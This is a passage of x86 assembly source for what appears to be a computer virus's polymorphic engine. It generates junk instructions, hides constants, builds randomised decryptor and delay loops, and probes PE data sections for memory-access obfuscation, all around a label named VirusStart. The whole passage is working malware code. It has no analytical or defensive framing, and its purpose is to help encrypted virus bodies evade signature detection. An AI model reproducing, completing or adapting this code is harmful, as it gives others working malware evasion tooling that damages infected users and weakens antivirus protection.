eax HideLp: mov edx, dword ptr [ ebp + HideCtr] Call Random32 mov dword ptr [ebp + edx*4 + ConstHider], eax push ecx xor eax,eax push 2 pop ecx Call Get_rand_range pop ecx or eax,eax jz HIDE_SUB dec eax jz HIDE_ADD HIDE_SUB: sub ebx,dword ptr [ebp + edx*4 + ConstHider] mov eax, OFFSET GEN_ADD_REG32_IMM jmp @F HIDE_ADD: add ebx,dword ptr [ebp + edx*4 + ConstHider] mov eax, OFFSET GEN_SUB_REG32_IMM @@: mov dword ptr [ebp + edx * 4 + RestoreTBL], eax inc dword ptr [ ebp + HideCtr] mov eax, dword ptr [ ebp + HideMaxCtr] cmp eax, dword ptr [ ebp + HideCtr] jnz HideLp ret HideConst endp RestoreTBL dd 0 dd 0 dd 0 dd 0 dd 0 ; in: cl = reg with hidden const to restore RestConst proc uses edx esi push ebx push ecx xor eax, eax RestLp: lea edx,dword ptr [ebp + RestoreTBL] mov esi,dword ptr [edx + (eax * 4)] or esi, esi ; Are we finished jz OutLp add esi,ebp mov ebx,dword ptr [ebp + eax*4+ ConstHider] push eax push esi Call Make_Random_Blk pop esi Call esi pop eax inc eax jmp RestLp OutLp: pop ecx pop ebx ret RestConst endp ;ReturnAddr dd 0 VirCODE dd 0 PolyErrFlag dd 0 MediumBlk proc uses ebx ;----------------------------------------- push edx push ecx xor eax, eax push 10 pop ecx Call Get_rand_range or eax,eax jz @F mov ecx,eax Call GarbageBlock @@: pop ecx pop edx ;----------------------------------------- ret MediumBlk endp LittleBlk proc uses ebx ;----------------------------------------- push edx push ecx xor eax,eax push 5 pop ecx Call Get_rand_range or eax,eax jz @F mov ecx,eax Call GarbageBlock @@: pop ecx pop edx ;----------------------------------------- ret LittleBlk endp GarbageBlock proc @@: push ecx Call Garbage pop ecx dec ecx jnz @B ret GarbageBlock endp Garbage: push ebx push dword ptr [ebp + _MOD] push dword ptr [ebp + _SCALE] push dword ptr [ebp + Displacement] Call Random32 mov ebx,eax Call ArrangeTo8Bits? xor eax,eax .IF byte ptr [ebp + _garb1_reserved] == 0 ; ? push TOTALNBR .ELSE push TOTALNBR - 2 ; Pas de xchg, xadd ect... .ENDIF pop ecx Call Get_rand_range lea ecx,dword ptr [ebp + InstrTBL] mov edx,dword ptr [ecx + (eax * 4)] add edx,ebp .IF eax >= TOTALNBR - 2 ; init regs ... Call Get2ValidAuxRegs ; source reg IS modified (for XCHG, XADD) .ELSEIF eax >= MEMSTARTNBR ; for MEM operations Call Get2ValidAuxRegs ; for XCHG, XADD, LEA push ecx xor eax, eax push 3 pop ecx Call Get_rand_range mov byte ptr [ebp + _MOD], al Call Get2ValidAuxRegs mov byte ptr [ebp + _REG_OPCODE], cl Call Random32 and al, 7 mov byte ptr [ebp + _RM],al xor eax, eax push 4 pop ecx Call Get_rand_range mov byte ptr [ebp + _SCALE], al Call Random32 and al, 7 mov byte ptr [ebp + _INDEX], al ;Call Get2RandRegs Call Random32 and al, 7 mov byte ptr [ebp + _BASE], al .IF dword ptr [ebp + _MOD] == 0 && dword ptr [ebp + _RM] == 5 Call Random32 jp @F .ENDIF Call GetRandomDataOFS @@: pop ecx mov dword ptr [ebp + Displacement], ebx .ELSE Call Get2RandRegs .ENDIF Call Rand_Prefix Call Rand_OneByte Call edx ; Generate it ! pop dword ptr [ebp + Displacement] pop dword ptr [ebp + _SCALE] pop dword ptr [ebp + _MOD] pop ebx ret EnableAllRegsUse db 0 ;/MEM MemAccess_blk proc uses ebx edx cmp byte ptr [ebp + EnableAllRegsUse], 1 ;!-! jb @F xor eax, eax ; Exit Error ret @@: inc byte ptr [ebp + EnableAllRegsUse] ;int 3 push dword ptr [ebp + base_reg] push dword ptr [ebp + base_reg+4] mov al, 60h ; save regs stosb Call GetRegs Call Get2RandRegs mov byte ptr [ebp + _INDEX], ch mov byte ptr [ebp + garb_reg1], ch Call Get2RandRegs mov byte ptr [ebp + _BASE], ch mov byte ptr [ebp + garb_reg2], ch Call Get2RandRegs mov byte ptr [ebp + _REG_OPCODE], ch mov byte ptr [ebp + garb_reg3], ch Call Make_Random_Blk_no_0_disp mov al, 61h ; restore regs stosb pop dword ptr [ebp + base_reg+4] pop dword ptr [ebp + base_reg] xor eax, eax inc eax ; ExitOk and byte ptr [ebp + EnableAllRegsUse], 0 ret MemAccess_blk endp Get2ValidAuxRegs proc xor eax,eax .IF byte ptr [ebp + _garb1_reserved] != 0 ; Reserved for memory access ? inc eax .ENDIF .IF byte ptr [ebp + _garb2_reserved] != 0 ; Reserved for memory access ? inc eax .IF EAX == 2 ; 2 garbage regs used ? movzx ecx, byte ptr [ebp + garb_reg3] jmp @F .ENDIF .ENDIF push 3 pop ecx Call Get_rand_range movzx ecx,byte ptr [eax + ebp + garb_reg1] @@: xor eax,eax .IF byte ptr [ebp + _garb1_reserved] != 0 inc eax .ENDIF push ecx push 3 pop ecx Call Get_rand_range pop ecx mov ch,byte ptr [eax + ebp + garb_reg1] ret Get2ValidAuxRegs endp Get2RandRegs proc xor eax,eax .IF byte ptr [ebp + _garb1_reserved] != 0 ; Reserved for memory access ? inc eax .ENDIF .IF byte ptr [ebp + _garb2_reserved] != 0 ; Reserved for memory access ? inc eax .IF EAX == 2 ; 2 garbage regs used ? movzx ecx, byte ptr [ebp + garb_reg3] jmp @F .ENDIF .ENDIF push 3 pop ecx Call Get_rand_range movzx ecx,byte ptr [eax + ebp + garb_reg1] @@: push ecx xor eax,eax push 7 pop ecx Call Get_rand_range pop ecx mov ch,byte ptr [eax + ebp + base_reg] ret ;Add_Flag db 0 Get2RandRegs endp GetValid8BREGS proc push edx Call @GetValid8BREGS jc @F pop edx clc ret @@: pop edx stc ret GetValid8BREGS endp @GetValid8BREGS proc ;And byte ptr [ebp + Add_Flag],0 mov edx,5 Relp: push edx Call Get2ValidAuxRegs pop edx mov al,cl cmp al,3 jna @F sub al,4 @@: Call IS_GARB_REG jnc @F clc ret @@: dec edx jnz Relp stc ret @GetValid8BREGS endp IS_GARB_REG proc CMP byte ptr [ebp + garb_reg1], al jz @F CMP byte ptr [ebp + garb_reg2], al jz @F CMP byte ptr [ebp + garb_reg3], al jz @F @No8BGarb: clc ret @@: CMP word ptr [ebp + _garb1_reserved],0 ; Are regs reserved ? JZ @F ; ok proceed cmp byte ptr [ebp + garb_reg3], al jnz @No8BGarb ; Skip if not garb3 @@: @RegOk: .IF al < 4 mov dl,al CAll Random32 jp @F add dl,4 @@: .ENDIF mov cl,dl Call Random32 and eax,7 mov ch,al stc ret IS_GARB_REG endp WaitLoop_Blk proc uses ebx edx ecx cmp byte ptr [ebp + _garb1_reserved],0 jz @F ret @@: inc byte ptr [ebp + _garb1_reserved] Call Random32 mov ebx, eax and ebx, 7 mov eax, 300000 ;large range mov ecx, 1000000 Call Get_rand_range .IF ebx != 0 Call LoopLikeDecryptor .ELSE Call MakeLoop .ENDIF And byte ptr [ebp + _garb1_reserved],0 ret WaitLoop_Blk endp CmpVal equ esi ModifVal equ esi+4 AddFlag equ esi+8 MakeLoop proc uses esi sub esp, 20 mov esi, esp mov ecx, eax Call Random32 mov ebx, eax Call ArrangeTo8Bits? mov dword ptr [CmpVal], ebx push ebx Call Random32 mov ebx, eax Call ArrangeTo8Bits? mov edx, ebx .IF edx == 0 add edx, 4 .ENDIF pop ebx Call Random32 .IF Parity? mov dword ptr [AddFlag], 1 @@: add ebx, edx dec ecx jnz @B .ELSE and dword ptr [AddFlag], 0 @@: sub ebx, edx dec ecx jnz @B .ENDIF mov cl, byte ptr [ebp + garb_reg1] Call MovVal;*/* Call LittleBlk Call Make_Random_Blk;** push edi ;Call LittleBlk Call Make_Random_Blk_no_0_disp;** mov ebx, edx .IF dword ptr [AddFlag] == 1 Call GEN_SUB_REG32_IMM .ELSE Call GEN_ADD_REG32_IMM .ENDIF ;Call LittleBlk Call Make_Random_Blk_no_0_disp;** mov ebx, dword ptr [CmpVal] mov cl, byte ptr [ebp + garb_reg1] Call GEN_CMP_REG32_IMM pop ebx sub ebx, edi Call GEN_JNZ_OFS add esp, 20 ret MakeLoop endp WtLp_Called db 0 MulFactor dd 0 ;WtlpLittleLoopMode db 0 LoopRange equ esi LoopLikeDecryptor proc uses ebx edx ecx esi sub esp, 10 mov esi, esp mov dword ptr [LoopRange], eax push dword ptr [ebp + MulFactor] push dword ptr [ebp + LoopOFS] push dword ptr [ebp + CMP_Range] mov dword ptr [ebp + MulFactor], 1 ; Init factor 1 Call Random32 jp @SimpleDec Call Random32 jp @LargeFactor push 2 pop eax push 30 pop ecx Call Get_rand_range jmp @SaveFactor @LargeFactor: push 30 pop eax push 1000 pop ecx Call Get_rand_range @SaveFactor: mov dword ptr [ebp + MulFactor], eax @SimpleDec: ;mov eax, 300000 ;large range ;mov ecx, 1000000 ;Call Get_rand_range mov eax, dword ptr [LoopRange] mov ecx, dword ptr [ebp + MulFactor] imul eax, ecx mov ebx,eax mov cl, byte ptr [ebp + garb_reg1] Call MovVal;*/* mov dword ptr [ebp + LoopOFS], edi Call Make_Random_Blk;** Call ModifyKey ; ok Call Make_Random_Blk;** mov ebx, dword ptr [ebp + MulFactor] mov cl,byte ptr [ebp + garb_reg1] .IF dword ptr [ebp + MulFactor] == 1 ;mov byte ptr [ebp + UseDec], 1 CAll GEN_DEC_REG32 .ELSE ;mov byte ptr [ebp + UseDec], 0 Call Random32 jp @DoWithADD CAll GEN_SUB_REG32_IMM jmp @SkipADD @DoWithADD: neg ebx CAll GEN_ADD_REG32_IMM .ENDIF @SkipADD: push ecx xor eax, eax mov ecx, 1000 Call Get_rand_range pop ecx mov dword ptr [ebp + CMP_Range], eax mov eax, dword ptr [ebp + LoopOFS] CALL MakePolyJMP pop dword ptr [ebp + CMP_Range] pop dword ptr [ebp + LoopOFS] pop dword ptr [ebp + MulFactor] add esp, 10 ret LoopLikeDecryptor endp nextmod db 0 ModifyKey proc uses ecx ebx edx mov byte ptr [ebp + nextmod],3 @@: Call Random32 mov ebx, eax Call LittleBlk xor eax,eax push CRYPTNBR ;TOTALNBR - 5 pop ecx Call Get_rand_range lea ecx,dword ptr [ebp + InstrTBL] mov edx,dword ptr [ecx + (eax * 4)] add edx,ebp mov ch, byte ptr [ebp + garb_reg1] ; WaitLoop counter is garb_reg1 mov cl, byte ptr [ebp + key_reg] Call edx Call LittleBlk dec byte ptr [ebp + nextmod] jnz @B ret ModifyKey endp ;ModifyReg proc uses edx ebx ; Modifie n'importe quel registre puis le restaure (meme un registre réservé) ; Call Get2RandRegs ; mov ch, cl ; ret ;ModifyReg endp ; Make memory access _garb1_reserved db 0 _garb2_reserved db 0 ;Mem_Reg db 0 MovVal proc uses ecx ebx edx esi ; in : cl = reg to move value push ecx Call Make_Random_Blk;** xor eax, eax push 3 pop ecx Call Get_rand_range pop ecx or eax, eax jz @IWantMov dec eax jz @IWantPushPop push dword ptr [ebp + _MOD] push dword ptr [ebp + _SCALE] push dword ptr [ebp + Displacement] mov byte ptr [ebp + _REG_OPCODE], cl;-***- mov byte ptr [ebp + _MOD], 0 mov byte ptr [ebp + _RM], 5 mov dword ptr [ebp + Displacement], ebx CALL GEN_LEA_REG32_DISP32 pop dword ptr [ebp + Displacement] pop dword ptr [ebp + _SCALE] pop dword ptr [ebp + _MOD] Call Make_Random_Blk;** jmp @F @IWantMov: Call GEN_MOV_REG32_IMM Call Make_Random_Blk;** jmp @F @IWantPushPop: Call GEN_PUSH_IMM32 Call Make_Random_Blk;** Call GEN_POP_REG32 Call Make_Random_Blk;** @@: ret MovVal endp NextSec dd 1 DataSectionOFS dd 0 DataSectionSize dd 0 InitMemAccess proc ; Retrieves the size and the offset of data section @ScanForDataSection: mov ebx,dword ptr [ebp+PEheader] assume ebx : ptr IMAGE_NT_HEADERS movzx esi, word ptr [ebx].FileHeader.SizeOfOptionalHeader lea esi, [[ebx].OptionalHeader + esi] movzx ecx, word ptr [[ebx].FileHeader.NumberOfSections] sub ecx, dword ptr [ebp + NextSec] ; Data section ? jecxz @NotFound push ecx imul ecx,ecx,sizeof IMAGE_SECTION_HEADER add esi,ecx ; go in data section pop ecx assume esi:ptr IMAGE_SECTION_HEADER inc dword ptr [ebp + NextSec] test [esi].Characteristics, IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE jz @ScanForDataSection mov dword ptr [ebp + NextSec],1 mov ebx, [ebx].OptionalHeader.ImageBase add ebx, [esi].VirtualAddress mov dword ptr [ebp + DataSectionOFS], ebx ; save VirtualOffset mov eax, [esi].Misc.VirtualSize mov dword ptr [ebp + DataSectionSize], eax ;Call GetRandomDataOFS @NotFound: ret InitMemAccess endp ;ActualMemRange dd 0 GetRandomDataOFS proc uses ecx mov ebx, dword ptr [ebp + DataSectionOFS] mov eax, ebx mov ecx, dword ptr [ebp + DataSectionSize] add ecx, ebx sub ecx, 4 Call Get_rand_range ;Mov dword ptr [ebp + ActualMemRange], eax mov ebx, eax ret GetRandomDataOFS endp ; Mode X dd ? EncodeMemLocation proc uses edx ecx ; in : ebx = Real memory address to encode ; in : cl _REG_OPCODE or OPCODE INFO ; out : Mod/Rm_Sib = right encodings .IF word ptr [ebp + _garb1_reserved] != 0 ;.IF byte ptr [ebp + _garb2_reserved] != 0 ret ; Return if our regs are reserved ;.ENDIF .ENDIF mov dword ptr [ebp + Displacement], ebx mov byte ptr [ebp + _REG_OPCODE], cl ; must be garb_reg3! xor eax, eax push 3 pop ecx Call Get_rand_range mov byte ptr [ebp + _MOD], al ; mode of encoding xor eax, eax push 4 pop ecx Call Get_rand_range mov byte ptr [ebp + _SCALE], al mov cl, byte ptr [ebp + garb_reg1] inc byte ptr [ebp + _garb1_reserved] Call Random32 jp @F mov cl, 4 ; 1/2 @@: mov byte ptr [ebp + _RM],cl .IF byte ptr [ebp + _MOD] == 0 .IF cl == 5 ; Do nothing .ELSEIF cl == 4 ; MODRM+SIB disp32 Call Random32 mov ebx, eax mov cl, byte ptr [ebp + garb_reg2] mov byte ptr [ebp + _BASE], cl inc byte ptr [ebp + _garb2_reserved] .IF cl == 5 ; INDEX * SCALE + Disp32 (No BASE) mov cl, byte ptr [ebp + _SCALE] shl ebx, cl sub dword ptr [ebp + Displacement], ebx sar ebx, cl mov cl, byte ptr [ebp + garb_reg1] mov byte ptr [ebp + _INDEX],cl Call MovVal ;;;;Call GEN_MOV_REG32_IMM .ELSE ; BASE + INDEX * SCALE (No disp) ; Algo : 404001 = a - b ; ; a = 404001+X ; b = X ; a = 404001+12345678 ; this number will be divisible by scale ; b = 12345678 Call Random32 push ecx mov cl, byte ptr [ebp + _SCALE] shl eax, cl pop ecx mov dword ptr [ebp + X], eax mov eax, dword ptr [ebp + Displacement] add eax, dword ptr [ebp + X] mov ebx, eax Call MovVal ;;;;Call GEN_MOV_REG32_IMM mov eax, dword ptr [ebp + X] mov cl, byte ptr [ebp + _SCALE] sar eax, cl mov cl, byte ptr [ebp + garb_reg1] mov byte ptr [ebp + _INDEX],cl neg eax mov ebx, eax ;;;;Call GEN_MOV_REG32_IMM Call MovVal .ENDIF .ELSE ; Single [REG32] mov ebx, dword ptr [ebp + Displacement] Call MovVal ;;;;Call GEN_MOV_REG32_IMM .ENDIF .ELSEIF byte ptr [ebp + _MOD] == 1 push ecx push -80h pop eax push 80h pop ecx Call Get_rand_range mov ebx,eax pop ecx .IF cl == 4 ; BASE + INDEX * SCALE + Disp ShitEncode: mov cl, byte ptr [ebp + garb_reg2] mov byte ptr [ebp + _BASE], cl inc byte ptr [ebp + _garb2_reserved] mov edx, ebx Call Random32 push ecx mov cl, byte ptr [ebp + _SCALE] shl eax, cl pop ecx mov dword ptr [ebp + X], eax mov eax, dword ptr [ebp + Displacement] add eax, dword ptr [ebp + X] sub eax, edx mov ebx, eax mov dword ptr [ebp + Displacement], edx Call MovVal ;;;;Call GEN_MOV_REG32_IMM mov eax, dword ptr [ebp + X] mov cl, byte ptr [ebp + _SCALE] sar eax, cl mov cl, byte ptr [ebp + garb_reg1] mov byte ptr [ebp + _INDEX],cl neg eax mov ebx, eax Call MovVal ;;;;Call GEN_MOV_REG32_IMM jmp ExitHideMem .ELSE ; RM + Disp8 ShitEncode2: mov eax, dword ptr [ebp + Displacement] sub eax, ebx mov dword ptr [ebp + Displacement], ebx xchg eax, ebx Call MovVal ;;;;Call GEN_MOV_REG32_IMM jmp ExitHideMem .ENDIF .ELSEIF byte ptr [ebp + _MOD] == 2 Call GetRandomDataOFS .IF cl == 4 ; SIB follow jmp ShitEncode .ELSE jmp ShitEncode2 .ENDIF .ENDIF ExitHideMem: and word ptr [ebp + _garb1_reserved], 0 ret EncodeMemLocation endp _MOD db 0 _REG_OPCODE db 0 _RM db 0 ; Register/Memory ([0-7]) _dummy db 0 MOD_SIMPLE_MEM equ 00b MOD_DISP8 equ 01b MOD_DISP32 equ 10b MOD_SIMPLE_REG equ 11b RM4_SIB_FOLLOW equ 100b SCALE_x2 equ 1b SCALE_x4 equ 10b SCALE_x8 equ 11b Displacement dd 0 _SCALE db 0 _INDEX db 0 _BASE db 0 _dummy2 db 0 SIB_USED equ 1 MODRM_USED equ 1 ;----------------- ;ModRM db 0 ;SIB db 0 ; Scale Index Base ;----------------- EncodeModRM_SIB proc uses edx ecx ; movzx eax, word ptr [ebp + ModRM] ; or eax, eax ; jnz @F ; Besoin de ModRM et de SIB ? ; ret ;@@: xor eax, eax mov ah, byte ptr [ebp + _RM] shr eax, 3 mov dl, byte ptr [ebp + _REG_OPCODE] or ah, dl shr eax, 3 mov dl, byte ptr [ebp + _MOD] or ah, dl shr eax, 2 .IF byte ptr [ebp + _RM] == 4 ; Encode SIB xor ecx, ecx mov ch, byte ptr [ebp + _BASE] shr ecx, 3 mov dl, byte ptr [ebp + _INDEX] or ch, dl shr ecx, 3 mov dl, byte ptr [ebp + _SCALE] or ch, dl shr ecx, 2 mov ah, cl stosw jmp @F .ELSE stosb .ENDIF @@: mov dl, byte ptr [ebp + _MOD] .IF byte ptr [ebp + _BASE] == 5 && byte ptr [ebp + _RM] == 4 .IF dl == 0 ; NO BASE mov eax, dword ptr [ebp + Displacement] stosd .ELSEIF dl == 1 ; EBP mov al, byte ptr [ebp + Displacement] stosb .ELSEIF dl == 2 ; EBP mov eax, dword ptr [ebp + Displacement] stosd .ENDIF .ELSE .IF dl == 0 cmp byte ptr [ebp + _RM], 5 jnz @F mov eax, dword ptr [ebp + Displacement] stosd .ELSEIF dl == 1 mov al, byte ptr [ebp + Displacement] stosb .ELSEIF dl == 2 mov eax, dword ptr [ebp + Displacement] stosd .ENDIF .ENDIF @@: ;and word ptr [ebp + ModRM],0 ; Reset ModRM & SIB and dword ptr [ebp + _MOD],0 and dword ptr [ebp + _SCALE],0 and dword ptr [ebp + Displacement],0 ret EncodeModRM_SIB endp ; Make {Push shit [...] push REG32 / POP REG32 / retn XXXX [...] POP SHITREG32} struct push_pop_recursion_level db 0 ;What2Do dd 0 Push_Pop_blk proc inc byte ptr [ebp+push_pop_recursion_level] cmp byte ptr [ebp+push_pop_recursion_level],02 jae ExitPushPop push ecx push edx xor eax,eax inc eax push 7 pop ecx Call Get_rand_range mov edx,eax push edx CALL MakePUSHES Call LittleBlk pop edx CALL MakePOPS pop edx pop ecx and byte ptr [ebp+push_pop_recursion_level], 0 ExitPushPop: ret Push_Pop_blk endp MakePUSHES: push edx Call Random32 jp @F Call Random32 mov ebx,eax Call ArrangeTo8Bits? Call LittleBlk CALL GEN_PUSH_IMM32 Jmp ContPushes @@: Call LittleBlk Call Random32 and eax,7 mov ecx,eax CALL GEN_PUSH_REG32 ContPushes: pop edx dec edx jnz MakePUSHES ret MakePOPS: Call Random32 and eax,07Fh jnz @SkipStackAdjust push ebx mov ebx,edx shl ebx,2 Call Random32 mov cl,4 jp @F CALL GEN_ADD_REG32_IMM pop ebx ret @@: neg ebx CALL GEN_SUB_REG32_IMM pop ebx ret @SkipStackAdjust: push edx Call LittleBlk CALL Get2ValidAuxRegs CALL GEN_POP_REG32 pop edx dec edx jnz MakePOPS ret ;--------------------------------------- CRYPT ONLY -------------------- InstrTBL dd OFFSET GEN_ADD_REG32_IMM;--- dd OFFSET GEN_XOR_REG32_IMM dd OFFSET GEN_SUB_REG32_IMM dd OFFSET GEN_ADD_REG32_IMM dd OFFSET GEN_XOR_REG32_IMM dd OFFSET GEN_SUB_REG32_IMM;--- dd OFFSET GEN_16BITS_OPC dd OFFSET GEN_ADD_REG32_REG32 ; 1 dd OFFSET GEN_XOR_REG32_REG32 dd OFFSET GEN_SUB_REG32_REG32 dd OFFSET GEN_ADD_REG32_REG32 ; 1 dd OFFSET GEN_XOR_REG32_REG32 dd OFFSET GEN_SUB_REG32_REG32 dd OFFSET GEN_IMUL_REG32_REG32_IMM dd OFFSET GEN_IMUL_REG32_REG32 ; dd OFFSET GEN_ROR_REG32_IMM8 ; 9 dd OFFSET GEN_ROL_REG32_IMM8 dd OFFSET GEN_BSWAP_REG32 dd OFFSET GEN_NEG_REG32 dd OFFSET GEN_NOT_REG32 dd OFFSET GEN_DEC_REG32;- dd OFFSET GEN_INC_REG32 dd OFFSET GEN_DEC_REG32 dd OFFSET GEN_INC_REG32;- CRYPTNBR = (OFFSET $ - OFFSET InstrTBL) / 4 ;--------------------------------------- GARBAGE ONLY -------------------- dd OFFSET GEN_ADC_REG32_REG32 dd OFFSET GEN_SBB_REG32_REG32 dd OFFSET GEN_AND_REG32_REG32 dd OFFSET GEN_AND_REG32_IMM32 dd OFFSET GEN_ADC_REG32_IMM32 dd OFFSET GEN_SBB_REG32_IMM32 dd OFFSET GEN_MOV_REG32_REG32 dd OFFSET GEN_MOV_REG32_IMM dd OFFSET GEN_MOV_REG32_REG32 dd OFFSET GEN_MOV_REG32_IMM dd OFFSET GEN_MOV_REG32_REG32 dd OFFSET GEN_MOV_REG32_IMM dd OFFSET GEN_MOV_REG32_REG32 dd OFFSET GEN_MOV_REG32_IMM dd OFFSET GEN_MOVZX_REG32_REG8 dd OFFSET GEN_MOVSX_REG32_REG8 ;dd OFFSET GEN_DIV_REG32 ; Pb Exception division par 0 ;dd OFFSET GEN_IDIV_REG32 ; dd OFFSET GEN_OR_REG32_REG32 dd OFFSET GEN_OR_REG32_IMM32 dd OFFSET GEN_ADD_REG8_REG8 dd OFFSET GEN_XOR_REG8_REG8 dd OFFSET GEN_SUB_REG8_REG8 dd OFFSET GEN_ADD_REG8_IMM dd OFFSET GEN_XOR_REG8_IMM dd OFFSET GEN_SUB_REG8_IMM dd OFFSET GEN_ROT_STUFF dd OFFSET GEN_ROT_STUFF dd OFFSET GEN_ROT_STUFF ;dd OFFSET GEN_ONEBYTE ;dd OFFSET GEN_IMUL_REG32 ; enlevé : change la valeur de EDX ;dd OFFSET GEN_MUL_REG32 dd OFFSET GEN_INC_REG8 dd OFFSET GEN_DEC_REG8 MEMSTART equ $ dd OFFSET GEN_LEA_REG32_DISP32 dd OFFSET GEN_LEA_REG32_DISP32 dd OFFSET GEN_LEA_REG32_DISP32 dd OFFSET GEN_LEA_REG32_DISP32 dd OFFSET GEN_LEA_REG32_DISP32 dd OFFSET GEN_LEA_REG32_DISP32 dd OFFSET GEN_LEA_REG32_DISP32 dd OFFSET GEN_LEA_REG32_DISP32 dd OFFSET GEN_XADD_REG32_REG32 dd OFFSET GEN_XCHG_REG32_REG32 ; Ne pas déplacer / do not move this one MEMEND equ $ MEMSTARTNBR = (($ - OFFSET InstrTBL) / 4 ) - (( MEMEND - OFFSET MEMSTART) / 4) TOTALNBR = (OFFSET $ - OFFSET InstrTBL) / 4 ;CRYPTNBR = 14 ;TOTALNBR = 39 ;XORED dd 0 CryptSeq: push 3 pop eax push 17 pop ecx Call Get_rand_range mov dword ptr [ebp + CryptInstrNbr],eax xor eax,eax inc eax push dword ptr [ebp + CryptInstrNbr] pop ecx Call Get_rand_range mov dword ptr [ebp + Make_XOR_KEY],eax @GenCryptorOPCODE: Call Random32 mov ebx,eax Call ArrangeTo8Bits? xor eax,eax push CRYPTNBR pop ecx Call Get_rand_range ;;;;;;;;;;;;;;;;;;; ; lea edx,dword ptr [ebp + InstrTBL] mov edx,dword ptr [edx + (eax * 4)] add edx,ebp ;;;;;;;;;;;;;;;;;;; mov ch,byte ptr [ebp + counter_reg] mov cl,byte ptr [ebp + key_reg] ;-------------------------------------------------------------- Call edx Call Make_Random_Blk;-**- ;xor eax,eax ;push 13 ; 1/13 ;pop ecx ;Call Get_rand_range ;dec eax ;jnz @F ;xor eax,eax ;push OneSize ;pop ecx ;Call Get_rand_range ;mov al,byte ptr [eax+ebp+OneByte] ;stosb ;@@: dec dword ptr [ebp + Make_XOR_KEY] jnz @CryptNext @Mk_xor_key: mov ch,byte ptr [ebp + key_reg] mov cl,byte ptr [ebp + cypher_reg] Call GEN_XOR_REG32_REG32 @CryptNext: dec dword ptr [ebp + CryptInstrNbr] jnz @GenCryptorOPCODE ret ROT_TBL dd OFFSET GEN_SHLD_REG32_REG32_CL dd OFFSET GEN_SHRD_REG32_REG32_CL dd OFFSET GEN_SAR_REG32_CL dd OFFSET GEN_SHL_REG32_CL dd OFFSET GEN_SHR_REG32_CL dd OFFSET GEN_RCL_REG32_CL dd OFFSET GEN_RCR_REG32_CL dd OFFSET GEN_ROL_REG32_CL dd OFFSET GEN_ROR_REG32_CL dd OFFSET GEN_SHRD_REG32_REG32_IMM8 dd OFFSET GEN_SHLD_REG32_REG32_IMM8 dd OFFSET GEN_RCR_REG32_IMM8 dd OFFSET GEN_RCL_REG32_IMM8 dd OFFSET GEN_SAR_REG32_IMM8 dd OFFSET GEN_SHR_REG32_IMM8 dd OFFSET GEN_SHL_REG32_IMM8 ROT_NBR = (OFFSET $ - OFFSET ROT_TBL) / 4 GEN_ROT_STUFF proc uses edx ecx push ecx xor eax, eax push ROT_NBR pop ecx Call Get_rand_range pop ecx lea edx, dword ptr [ebp + ROT_TBL] mov edx, dword ptr [edx + (eax * 4)] add edx, ebp call edx ret GEN_ROT_STUFF endp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CryptInstrNbr dd 0 ; Number of cryptologic instructions Make_XOR_KEY dd 0 ; if 0 make xor cypher_reg, key_reg SafeSeq dd OFFSET GEN_ADD_REG32_IMM Save_regs proc mov dword ptr [ebp + REG_EAX],eax mov dword ptr [ebp + REG_ECX],ecx mov dword ptr [ebp + REG_EDX],edx mov dword ptr [ebp + REG_EBX],ebx mov dword ptr [ebp + REG_ESI],esi mov dword ptr [ebp + REG_EDI],edi ret Save_regs endp Restore_regs proc mov eax,dword ptr [ebp + REG_EAX] mov ecx,dword ptr [ebp + REG_ECX] mov edx,dword ptr [ebp + REG_EDX] mov ebx,dword ptr [ebp + REG_EBX] mov esi,dword ptr [ebp + REG_ESI] mov edi,dword ptr [ebp + REG_EDI] ret Restore_regs endp ;ReturnAddr dd 0 SetSeq proc and byte ptr [ebp + CryptBackward],0 ; Default scan foreward Call Random32 jp @F inc byte ptr [ebp + CryptBackward] ; scan backward @@: _SEQNEXT: xor eax,eax push 6 ; 6 Sequences pop ecx Call Get_rand_range ; Random instruction Sequence or eax,eax jz _SEQ1 dec eax jz _SEQ2 dec eax jz _SEQ3 dec eax jz _SEQ4 dec eax jz _SEQ5 dec eax jz _SEQ6 _SEQ1: CALL @@PC_SEQBASE CALL @@PC_SEQSIZE CALL @@PC_SEQKEY jmp _SEQEXIT _SEQ2: CALL @@PC_SEQBASE CALL @@PC_SEQKEY CALL @@PC_SEQSIZE jmp _SEQEXIT _SEQ3: CALL @@PC_SEQSIZE CALL @@PC_SEQBASE CALL @@PC_SEQKEY jmp _SEQEXIT _SEQ4: CALL @@PC_SEQSIZE CALL @@PC_SEQKEY CALL @@PC_SEQBASE jmp _SEQEXIT _SEQ5: CALL @@PC_SEQKEY CALL @@PC_SEQSIZE CALL @@PC_SEQBASE jmp _SEQEXIT _SEQ6: CALL @@PC_SEQKEY CALL @@PC_SEQBASE CALL @@PC_SEQSIZE _SEQEXIT: .IF byte ptr [ebp + WtLp_Called] == 0 Call Make_Random_Blk;-**- Call WaitLoop_Blk Call Make_Random_Blk;-**- inc byte ptr [ebp + WtLp_Called] .ENDIF mov dword ptr [ebp + LoopOFS],edi ;Call CryptSeq ;Call LittleBlk ; put garb ret SetSeq endp CallWaitLoop? proc uses ecx xor eax,eax push 3 pop ecx Call Get_rand_range or eax, eax jnz @F .IF byte ptr [ebp + WtLp_Called] == 0 Call Make_Random_Blk;-**- Call WaitLoop_Blk Call Make_Random_Blk;-**- inc byte ptr [ebp + WtLp_Called] .ENDIF @@: ret CallWaitLoop? endp CryptBackward db 0 ;========= ========= ========= ========= [BASE] ========= ========= ========= ========= @@PC_SEQBASE: Call CallWaitLoop? mov eax,edi inc eax mov dword ptr [ebp + BaseOFS],eax mov ebx, OFFSET VirusStart ; ;mov ebx, dword ptr [ebp + What2encrypt];:: ;sub ebx, dword ptr [ebp + @Delta];:: ;add ebx, dword ptr [ebp + RVA_What2encrypt] ;sub ebx, ebp .IF byte ptr [ebp + CryptBackward] != 0 add ebx, dword ptr [ebp + SizeOfWhat2encrypt] inc ebx .ENDIF Call HideConst xor eax,eax push 3 pop ecx Call Get_rand_range mov cl,byte ptr [ebp + base_reg] or eax,eax jz @PC_BASE_PUSHPOP dec eax jz @PC_BASE_LEA @PC_BASE_MOV: CALL GEN_MOV_REG32_IMM Call Make_Random_Blk;** mov cl,byte ptr [ebp + base_reg] Call RestConst Call Make_Random_Blk;** ret @PC_BASE_PUSHPOP: CALL GEN_PUSH_IMM32 Call Make_Random_Blk;** CALL GEN_POP_REG32 Call Make_Random_Blk;** mov cl,byte ptr [ebp + base_reg] Call RestConst Call Make_Random_Blk;** ret @PC_BASE_LEA: 